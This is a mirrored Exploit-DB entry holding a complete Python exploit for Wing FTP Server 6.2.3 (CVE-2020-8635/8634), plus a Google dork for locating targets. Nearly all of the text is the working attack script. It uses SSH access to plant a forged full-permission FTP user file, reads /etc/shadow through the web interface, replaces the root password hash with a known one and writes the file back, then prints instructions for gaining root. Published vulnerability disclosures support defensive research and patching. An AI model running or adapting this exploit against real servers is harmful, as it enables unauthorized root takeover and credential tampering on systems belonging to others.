Wing FTP Server 6.2.3 – Privilege Escalation

  • 作者: Cary Hooper
    日期: 2020-03-02
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48160/
  • # Exploit Title: Wing FTP Server 6.2.3 - Privilege Escalation
    # Google Dork: intitle:"Wing FTP Server - Web"
    # Date: 2020-03-02
    # Exploit Author: Cary Hooper
    # Vendor Homepage: https://www.wftpserver.com
    # Software Link: https://www.wftpserver.com/download/wftpserver-linux-64bit.tar.gz
    # Version: v6.2.3
    # Tested on: Ubuntu 18.04, Kali Linux 4, MacOS Catalina, Solaris 11.4 (x86)
    
    
    # Given SSH access to a target machine with Wing FTP Server installed, this program:
    #	- SSH in, forges a FTP user account with full permissions (CVE-2020-8635)
    #	- Logs in to HTTP interface and then edits /etc/shadow (resulting in CVE-2020-8634)
    # Each step can all be done manually with any kind of code execution on target (no SSH)
    # To setup, start SSH service, then run ./wftpserver.Wing FTP services will start after a domain is created.
    # https://www.hooperlabs.xyz/disclosures/cve-2020-8635.php (writeup)
    
    
    #!/usr/bin/python3
    
    #python3 cve-2020-8635.py -t 192.168.0.2:2222 -u lowleveluser -p demo --proxy http://127.0.0.1:8080
    
    import paramiko,sys,warnings,requests,re,time,argparse
    #Python warnings are the worst
    warnings.filterwarnings("ignore")
    
    #Argument handling begins
    parser = argparse.ArgumentParser(description="Exploit for Wing FTP Server v6.2.3 Local Privilege Escalation",epilog=print(f"Exploit by @nopantrootdance."))
    parser.add_argument("-t", "--target", help="hostname of target, optionally with port specified (hostname:port)",required=True)
    parser.add_argument("-u", "--username", help="SSH username", required=True)
    parser.add_argument("-p", "--password", help="SSH password", required=True)
    parser.add_argument("-v", "--verbose", help="Turn on debug information", action='store_true')
    parser.add_argument("--proxy", help="Send HTTP through a proxy",default=False)
    args = parser.parse_args()
    
    #Global Variables
    global username
    global password
    global proxies
    global port
    global hostname
    global DEBUG
    username = args.username
    password = args.password
    
    #Turn on debug statements
    if args.verbose:
    	DEBUG = True
    else:
    	DEBUG = False
    
    #Handle nonstandard SSH port
    if ':' in args.target:
    	socket = args.target.split(':')
    	hostname = socket[0]
    	port = socket[1]
    else:
    	hostname = args.target
    	port = "22"
    
    #Prepare proxy dict (for Python requests)
    if args.proxy:
    	if ("http://" not in args.proxy) and ("https://" not in args.proxy):
    		print(f"[!] Invalid proxy.Proxy must have http:// or https:// {proxy}")
    		sys.exit(1)
    	proxies = {'http':args.proxy,'https':args.proxy}
    else:
    	proxies = {}
    #Argument handling ends
    
    #This is what a <username>.xml file looks like.
    #Gives full permission to user (h00p:h00p) for entire filesystem '/'.
    #Located in $_WFTPROOT/Data/Users/
    evilUserXML = """<?xml version="1.0" ?>
    <USER_ACCOUNTS Description="Wing FTP Server User Accounts">
    <USER>
    <UserName>h00p</UserName>
    <EnableAccount>1</EnableAccount>
    <EnablePassword>1</EnablePassword>
    <Password>d28f47c0483d392ca2713fe7e6f54089</Password>
    <ProtocolType>63</ProtocolType>
    <EnableExpire>0</EnableExpire>
    <ExpireTime>2020-02-25 18:27:07</ExpireTime>
    <MaxDownloadSpeedPerSession>0</MaxDownloadSpeedPerSession>
    <MaxUploadSpeedPerSession>0</MaxUploadSpeedPerSession>
    <MaxDownloadSpeedPerUser>0</MaxDownloadSpeedPerUser>
    <MaxUploadSpeedPerUser>0</MaxUploadSpeedPerUser>
    <SessionNoCommandTimeOut>5</SessionNoCommandTimeOut>
    <SessionNoTransferTimeOut>5</SessionNoTransferTimeOut>
    <MaxConnection>0</MaxConnection>
    <ConnectionPerIp>0</ConnectionPerIp>
    <PasswordLength>0</PasswordLength>
    <ShowHiddenFile>0</ShowHiddenFile>
    <CanChangePassword>0</CanChangePassword>
    <CanSendMessageToServer>0</CanSendMessageToServer>
    <EnableSSHPublicKeyAuth>0</EnableSSHPublicKeyAuth>
    <SSHPublicKeyPath></SSHPublicKeyPath>
    <SSHAuthMethod>0</SSHAuthMethod>
    <EnableWeblink>1</EnableWeblink>
    <EnableUplink>1</EnableUplink>
    <CurrentCredit>0</CurrentCredit>
    <RatioDownload>1</RatioDownload>
    <RatioUpload>1</RatioUpload>
    <RatioCountMethod>0</RatioCountMethod>
    <EnableRatio>0</EnableRatio>
    <MaxQuota>0</MaxQuota>
    <CurrentQuota>0</CurrentQuota>
    <EnableQuota>0</EnableQuota>
    <NotesName></NotesName>
    <NotesAddress></NotesAddress>
    <NotesZipCode></NotesZipCode>
    <NotesPhone></NotesPhone>
    <NotesFax></NotesFax>
    <NotesEmail></NotesEmail>
    <NotesMemo></NotesMemo>
    <EnableUploadLimit>0</EnableUploadLimit>
    <CurLimitUploadSize>0</CurLimitUploadSize>
    <MaxLimitUploadSize>0</MaxLimitUploadSize>
    <EnableDownloadLimit>0</EnableDownloadLimit>
    <CurLimitDownloadLimit>0</CurLimitDownloadLimit>
    <MaxLimitDownloadLimit>0</MaxLimitDownloadLimit>
    <LimitResetType>0</LimitResetType>
    <LimitResetTime>1580092048</LimitResetTime>
    <TotalReceivedBytes>0</TotalReceivedBytes>
    <TotalSentBytes>0</TotalSentBytes>
    <LoginCount>0</LoginCount>
    <FileDownload>0</FileDownload>
    <FileUpload>0</FileUpload>
    <FailedDownload>0</FailedDownload>
    <FailedUpload>0</FailedUpload>
    <LastLoginIp></LastLoginIp>
    <LastLoginTime>2020-01-26 18:27:28</LastLoginTime>
    <EnableSchedule>0</EnableSchedule>
    <Folder>
    <Path>/</Path>
    <Alias>/</Alias>
    <Home_Dir>1</Home_Dir>
    <File_Read>1</File_Read>
    <File_Write>1</File_Write>
    <File_Append>1</File_Append>
    <File_Delete>1</File_Delete>
    <Directory_List>1</Directory_List>
    <Directory_Rename>1</Directory_Rename>
    <Directory_Make>1</Directory_Make>
    <Directory_Delete>1</Directory_Delete>
    <File_Rename>1</File_Rename>
    <Zip_File>1</Zip_File>
    <Unzip_File>1</Unzip_File>
    </Folder>
    </USER>
    </USER_ACCOUNTS>
    """
    
    #Verbosity function.
    def log(string):
    	if DEBUG != False:
    		print(string)
    
    #Checks to see which URL is hosting Wing FTP
    #Returns a URL, probably. HTTPS preferred.empty url is checked in main()
    def checkHTTP(hostname):
    	protocols= ["http://","https://"]
    	for protocol in protocols:
    		try:
    			log(f"Testing HTTP service {protocol}{hostname}")
    			response = requests.get(protocol + hostname, verify=False, proxies=proxies)
    			try:
    				#Server: Wing FTP Server
    				if "Wing FTP Server" in response.headers['Server']:
    					print(f"[!] Wing FTP Server found at {protocol}{hostname}")
    					url = protocol + hostname
    			except:
    				print("")
    		except Exception as e:
    			print(f"[*] Server is not running Wing FTP web services on {protocol}: {e}")
    	return url
    
    #Log in to the HTTP interface.Returns cookie
    def getCookie(url,webuser,webpass,headers):
    	log("getCookie")
    	loginURL = f"{url}/loginok.html"
    	data = {"username": webuser, "password": webpass, "username_val": webuser, "remember": "true", "password_val": webpass, "submit_btn": " Login "}
    	response = requests.post(loginURL, headers=headers, data=data, verify=False, proxies=proxies)
    	ftpCookie = response.headers['Set-Cookie'].split(';')[0]
    	print(f"[!] Successfully logged in!Cookie is {ftpCookie}")
    	cookies = {"UID":ftpCookie.split('=')[1]}
    	log("return getCookie")
    	return cookies
    
    #Change directory within the web interface.
    #The actual POST request changes state.We keep track of that state in the returned directorymem array.
    def chDir(url,directory,headers,cookies,directorymem):
    	log("chDir")
    	data = {"dir": directory}
    	print(f"[*] Changing directory to {directory}")
    	chdirURL = f"{url}/chdir.html"
    	requests.post(chdirURL, headers=headers, cookies=cookies, data=data, verify=False, proxies=proxies)
    	log(f"Directorymem is nonempty. --> {directorymem}")
    	log("return chDir")
    	directorymem = directorymem + "|" + directory
    	return directorymem 
    
    #The application has a silly way of keeping track of paths.
    #This function returns the current path as dirstring.
    def prepareStupidDirectoryString(directorymem,delimiter):
    	log("prepareStupidDirectoryString")
    	dirstring = ""
    	directoryarray = directorymem.split('|')
    	log(f"directoryarray is {directoryarray}")
    	for item in directoryarray:
    		if item != "":
    			dirstring += delimiter + item
    	log("return prepareStupidDirectoryString")
    	return dirstring
    
    #Downloads a given file from the server.By default, it runs as root.
    #Returns the content of the file as a string.
    def downloadFile(file,url,headers,cookies,directorymem):
    	log("downloadFile")
    	print(f"[*] Downloading the {file} file...")
    	dirstring = prepareStupidDirectoryString(directorymem,"$2f")#Why wouldn't you URL-encode?!
    	log(f"directorymem is {directorymem} and dirstring is {dirstring}")
    	editURL = f"{url}/editor.html?dir={dirstring}&filename={file}&r=0.88304407485768"
    	response = requests.get(editURL, cookies=cookies, verify=False, proxies=proxies)
    	filecontent = re.findall(r'<textarea id="textedit" style="height:520px; width:100%;">(.*?)</textarea>',response.text,re.DOTALL)[0]
    	log(f"downloaded file is: {filecontent}")
    	log("return downloadFile")
    	return filecontent,editURL
    
    #Saves a given file to the server (or overwrites one).By default it saves a file with
    #644 permission owned by root.
    def saveFile(newfilecontent,file,url,headers,cookies,referer,directorymem):
    	log("saveFile")
    	log(f"Directorymem is {directorymem}")
    	saveURL = f"{url}/savefile.html"
    	headers = {"Content-Type": "text/plain;charset=UTF-8", "Referer": referer}
    	dirstring = prepareStupidDirectoryString(directorymem,"/")
    	log(f"Stupid Directory string is {dirstring}")
    	data = {"charcode": "0", "dir": dirstring, "filename": file, "filecontent": newfilecontent}
    	requests.post(saveURL, headers=headers, cookies=cookies, data=data, verify=False)
    	log("return saveFile")
    
    #Other methods may be more stable, but this works.
    #"You can't argue with a root shell" - FX
    #Let me know if you know of other ways to increase privilege by overwriting or creating files.Another way is to overwrite
    #the Wing FTP admin file, then leverage the lua interpreter in the administrative interface which runs as root (YMMV).
    #Mind that in this version of Wing FTP, files will be saved with umask 111.This makes changing /etc/sudoers infeasible.
    
    #This routine overwrites the shadow file
    def overwriteShadow(url):
    	log("overwriteShadow")
    	headers = {"Content-Type": "application/x-www-form-urlencoded"}
    	#Grab cookie from server.
    	cookies = getCookie(url=url,webuser="h00p",webpass="h00p",headers=headers)
    
    	#Chdir a few times, starting in the user's home directory until we arrive at the target folder
    	directorymem = chDir(url=url,directory="etc",headers=headers,cookies=cookies,directorymem="")
    	
    	#Download the target file.
    	shadowfile,referer = downloadFile(file="shadow",url=url,headers=headers,cookies=cookies,directorymem=directorymem)
    
    	# openssl passwd -1 -salt h00ph00p h00ph00p
    	rootpass = "$1$h00ph00p$0cUgaHnnAEvQcbS6PCMVM0"
    	rootpass = "root:" + rootpass + ":18273:0:99999:7:::"
    
    	#Create new shadow file with different root password & save
    	newshadow = re.sub("root(.*):::",rootpass,shadowfile)
    	print("[*] Swapped the password hash...")
    	saveFile(newfilecontent=newshadow,file="shadow",url=url,headers=headers,cookies=cookies,referer=referer,directorymem=directorymem)
    	print("[*] Saved the forged shadow file...")
    	log("exit overwriteShadow")
    
    def main():
    	log("main")
    	try:
    		#Create ssh connection to target with paramiko
    		client = paramiko.SSHClient()
    		client.load_system_host_keys()
    		client.set_missing_host_key_policy(paramiko.WarningPolicy)
    		try: 
    			client.connect(hostname, port=port, username=username, password=password)
    		except:
    			print(f"Failed to connect to {hostname}:{port} as user {username}.")
    		
    		#Find wftpserver directory
    		print(f"[*] Searching for Wing FTP root directory. (this may take a few seconds...)")
    		stdin, stdout, stderr = client.exec_command("find / -type f -name 'wftpserver'")
    		wftpDir = stdout.read().decode("utf-8").split('\n')[0].rsplit('/',1)[0]
    		print(f"[!] Found Wing FTP directory: {wftpDir}")
    		#Find name of <domain>
    		stdin, stdout, stderr = client.exec_command(f"find {wftpDir}/Data/ -type d -maxdepth 1")
    		lsresult = stdout.read().decode("utf-8").split('\n')
    		#Checking if wftpserver is actually configured.If you're using this script, it probably is.
    		print(f"[*] Determining if the server has been configured.")
    		domains = []
    		for item in lsresult[:-1]:
    			item = item.rsplit('/',1)[1]
    			if item !="_ADMINISTRATOR" and item != "":
    				domains.append(item)
    				print(f"[!] Success. {len(domains)} domain(s) found! Choosing the first: {item}")
    		domain = domains[0]
    		#Check if the users folder exists
    		userpath = wftpDir + "/Data/" + domain
    		print(f"[*] Checking if users exist.")
    		stdin, stdout, stderr = client.exec_command(f"file {userpath}/users")
    		if "No such file or directory" in stdout.read().decode("utf-8"):
    			print(f"[*] Users directory does not exist.Creating folder /users")
    			#Create users folder
    			stdin, stdout, stderr = client.exec_command(f"mkdir {userpath}/users")
    		#Create user.xml file
    		print("[*] Forging evil user (h00p:h00p).")
    		stdin, stdout, stderr = client.exec_command(f"echo '{evilUserXML}' > {userpath}/users/h00p.xml")
    		#Now we can log into the FTP web app with h00p:h00p
    		
    		url = checkHTTP(hostname)
    		#Check that url isn't an empty string (and that its a valid URL)
    		if "http" not in url:
    			print(f"[!] Exiting... cannot access web interface.")
    			sys.exit(1)
    
    		#overwrite root password
    		try:
    			overwriteShadow(url)
    			print(f"[!] Overwrote root password to h00ph00p.")
    		except Exception as e:
    			print(f"[!] Error: cannot overwrite /etc/shadow: {e}")
    
    		#Check to make sure the exploit worked.
    		stdin, stdout, stderr = client.exec_command("cat /etc/shadow | grep root")
    		out = stdout.read().decode('utf-8')
    		err = stderr.read().decode('utf-8')
    
    		log(f"STDOUT - {out}")
    		log(f"STDERR - {err}")
    		if "root:$1$h00p" in out:
    			print(f"[*] Success!The root password has been successfully changed.")
    			print(f"\n\tssh {username}@{hostname} -p{port}")
    			print(f"\tThen: su root (password is h00ph00p)")
    		else:
    			print(f"[!] Something went wrong... SSH in to manually check /etc/shadow.Permissions may have been changed to 666.")
    
    		log("exit prepareServer")
    	finally:
    		client.close()
    
    main()